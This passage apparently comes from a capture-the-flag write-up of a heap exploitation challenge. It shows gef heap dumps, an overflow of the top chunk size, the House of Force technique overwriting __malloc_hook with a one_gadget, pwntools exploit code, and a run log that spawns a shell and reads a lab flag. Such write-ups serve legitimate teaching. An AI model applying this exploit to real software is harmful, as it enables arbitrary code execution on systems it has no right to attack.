    [0x0000555555759340     41 41 41 41 42 42 42 42 0a 00 00 00 00 00 00 00
AAAABBBB........]
Chunk(addr=0x555555759360, size=0x20cb0, flags=PREV_INUSE)  ←  top chunk
gef➤  x/20gx 0x555555759340-0x10
0x555555759330: 0x0000000000000000  0x0000000000000021 // Allocated size
0x555555759340: 0x4242424241414141  0x000000000000000a // Our input
0x555555759350: 0x0000000000000000  0x0000000000020cb1 // Top chunk's size
0x555555759360: 0x0000000000000000  0x0000000000000000
0x555555759370: 0x0000000000000000  0x0000000000000000
0x555555759380: 0x0000000000000000  0x0000000000000000
0x555555759390: 0x0000000000000000  0x0000000000000000
0x5555557593a0: 0x0000000000000000  0x0000000000000000
0x5555557593b0: 0x0000000000000000  0x0000000000000000
0x5555557593c0: 0x0000000000000000  0x0000000000000000
```

It allocated 0x20 bytes plus the `prev_in_use` byte and then there is the Top Chunk's size. The allocated size is always 0x10, 0x20, 0x30, etc.
What if we do a 24 bytes allocation and then fill the buffer with 24 + 6 bytes?

```
[+] Welcome ColorfulPoppySeeds1161!

[*] Choose actions (1/4):

1. Upgrade skills 🛡️
2. Get starter pack 💰
3. Exit 🏃

> 1

[*] Stat points (max 120 per time): 24

[*] Stat (e.g. Health, Strength, Agility or Custom):
AAAAAAAAAAAAAAAAAAAAAAAAAAAA

[+] Stat points added!


[*] Choose actions (2/4):

1. Upgrade skills 🛡️
2. Get starter pack 💰
3. Exit 🏃
```

```
gef➤  x/20gx 0x555555759340-0x10
0x555555759330: 0x0000000000000000  0x0000000000000021
0x555555759340: 0x4141414141414141  0x4141414141414141
0x555555759350: 0x4141414141414141  0x000a414141414141
0x555555759360: 0x0000000000000000  0x0000000000000000
0x555555759370: 0x0000000000000000  0x0000000000000000
0x555555759380: 0x0000000000000000  0x0000000000000000
0x555555759390: 0x0000000000000000  0x0000000000000000
0x5555557593a0: 0x0000000000000000  0x0000000000000000
0x5555557593b0: 0x0000000000000000  0x0000000000000000
0x5555557593c0: 0x0000000000000000  0x0000000000000000
```

We managed to overwrite the `Top chunk's size` with what we want!

Recap time:

- [✔️] Glibc version lower than 2.27
- [✔️]] A `heap based overflow` allowing overwriting the top chunk size field
- [✔️] A `heap address leak` to know the relative offset to our write location.
- [✔️] Our vulnerable application leaks the heap address and allows us to call malloc() with an arbitrary size.
- [✔️] `Libc` address to overwrite `__malloc_hook` with `one_gadget` or `system("/bin/sh")`.

We have everything we need to perform the `House of Force` technique.

House of Force

With House of Force, we can overwrite the `Top chunk's size` and trick the memory to think it has much more space to allocate. This way, we can reach addresses of the binary that are far away from the heap, even libc addresses. Our target is the `__malloc_hook`, which is called every time the `malloc` function is called.

```
Variable: __malloc_hook
The value of this variable is a pointer to the function that malloc uses
whenever it is called. You should define this function to look like malloc;
that is, like:

void *function (size_t size, const void *caller)
The value of caller is the return address found on the stack when the malloc
function was called. This value allows you to trace the memory consumption of
the program.
```

If we modify the address of the `__malloc_hook`, `malloc` will be tricked and call whatever happens to be stored there. A nice candidate will be the `one_gadget` as we also have the `libc base`.

How can we find the offset of `__malloc_hook` and what will be the value of the `Top chunks's size`?

`Top chunk's size` should be something big so we are going to go with 0xffffffffffffffff. To calculate the offset from `__malloc_hook` to the `heap leak` we can subtract the address of `__malloc_hook` and the `heap` leak and adjust the offset till we have the address in place to be overwritten with the next allocation.

At this point we are at the place where we have overwritten the `Top chunk's size` with a huge value.

```
gef➤  heap chunks
Chunk(addr=0x564ee5e42010, size=0x250, flags=PREV_INUSE)
    [0x0000564ee5e42010     00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00
................]
Chunk(addr=0x564ee5e42260, size=0x70, flags=PREV_INUSE)
    [0x0000564ee5e42260     00 00 00 00 00 00 00 00 10 20 e4 e5 4e 56 00 00
......... ..NV..]
Chunk(addr=0x564ee5e422d0, size=0x70, flags=PREV_INUSE)
    [0x0000564ee5e422d0     60 22 e4 e5 4e 56 00 00 10 20 e4 e5 4e 56 00 00
`"..NV... ..NV..]
Chunk(addr=0x564ee5e42340, size=0x20, flags=PREV_INUSE)
    [0x0000564ee5e42340     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA]
Chunk(addr=0x564ee5e42360, size=0x29115f2a18d0, flags=PREV_INUSE)
    [0x0000564ee5e42360     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
................]
Chunk(addr=0x7f60450e3c30, size=0xffffd6eea0d5e728, flags=PREV_INUSE)  ←  top
chunk
```

After that, with can find the offset of the `__malloc_hook` and the `heap leak`.

```
def malloc(pts, stat, shell = 0):
  sa(">", "1")
  sa("per time):", str(pts))
  if shell:
    # Spawn shell with interactive or get the flag
    #r.interactive()
    pause(1)
    r.sendline(b"cat flag*")
    success(f"Flag --> {r.recvline_contains(b'HTB').strip().decode()}")
  else:
    r.sendafter("Custom):", stat)

# Allocate 24 bytes (0x20 size chunk) and write 8 more
# to overwrite Top chunk's size with a big value
log.info("Overwriting Top chunk's size with -> 0xffffffffffffffff")
malloc(24, b"A" * 24 + p64(0xffffffffffffffff))

# Overwrite __malloc_hook with one_gadget
malloc((libc.sym.__malloc_hook) - (heap_leak + 0x110), b"A")
pause()
# # Get shell with one gadget
log.info("Overwriting __malloc_hook -> one_gadget")
```

```
gef➤  heap chunks
Chunk(addr=0x562872346010, size=0x250, flags=PREV_INUSE)
```

```
    [0x0000562872346010     00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00
................]
Chunk(addr=0x562872346260, size=0x70, flags=PREV_INUSE)
    [0x0000562872346260     00 00 00 00 00 00 00 00 10 60 34 72 28 56 00 00
.........`4r(V..]
Chunk(addr=0x5628723462d0, size=0x70, flags=PREV_INUSE)
    [0x00005628723462d0     60 62 34 72 28 56 00 00 10 60 34 72 28 56 00 00
`b4r(V...`4r(V..]
Chunk(addr=0x562872346340, size=0x20, flags=PREV_INUSE)
    [0x0000562872346340     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA]
Chunk(addr=0x562872346360, size=0x291e6a5ce8d0, flags=PREV_INUSE)
    [0x0000562872346360     41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
A...............]
Chunk(addr=0x7f46dc914c30, size=0x20, flags=PREV_INUSE)
    [0x00007f46dc914c30 <__malloc_hook+0000>    1c 34 63 dc 46 7f 00 00 00 00
00 00 00 00 00 00    .4c.F............]
Chunk(addr=0x7f46dc914c50, size=0xffffd6e195a31708, flags=PREV_INUSE)  ←  top
chunk
```

We see that `_malloc_hook` is overwritten now with one_gadget. Next time `malloc` is called `one_gadget` is going to be called and we get shell.

Solution

```
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./.glibc/'
[+] Opening connection to 0.0.0.0 on port 1337: Done
[*] Libc base     @ 0x7f5e5057f000
[*] Leaking heap address..
[*] Heap leak     @ 0x5627c9838260
[*] __malloc_hook @ 0x7f5e5096ac30
[*] Overwriting Top chunk's size with -> 0xffffffffffffffff
[*] Overwriting __malloc_hook -> one_gadget
[+] Waiting: Done
[+] Flag --> HTB{f4k3_fl4g_4_t35ting}
[*] Closed connection to 0.0.0.0 port 1337
```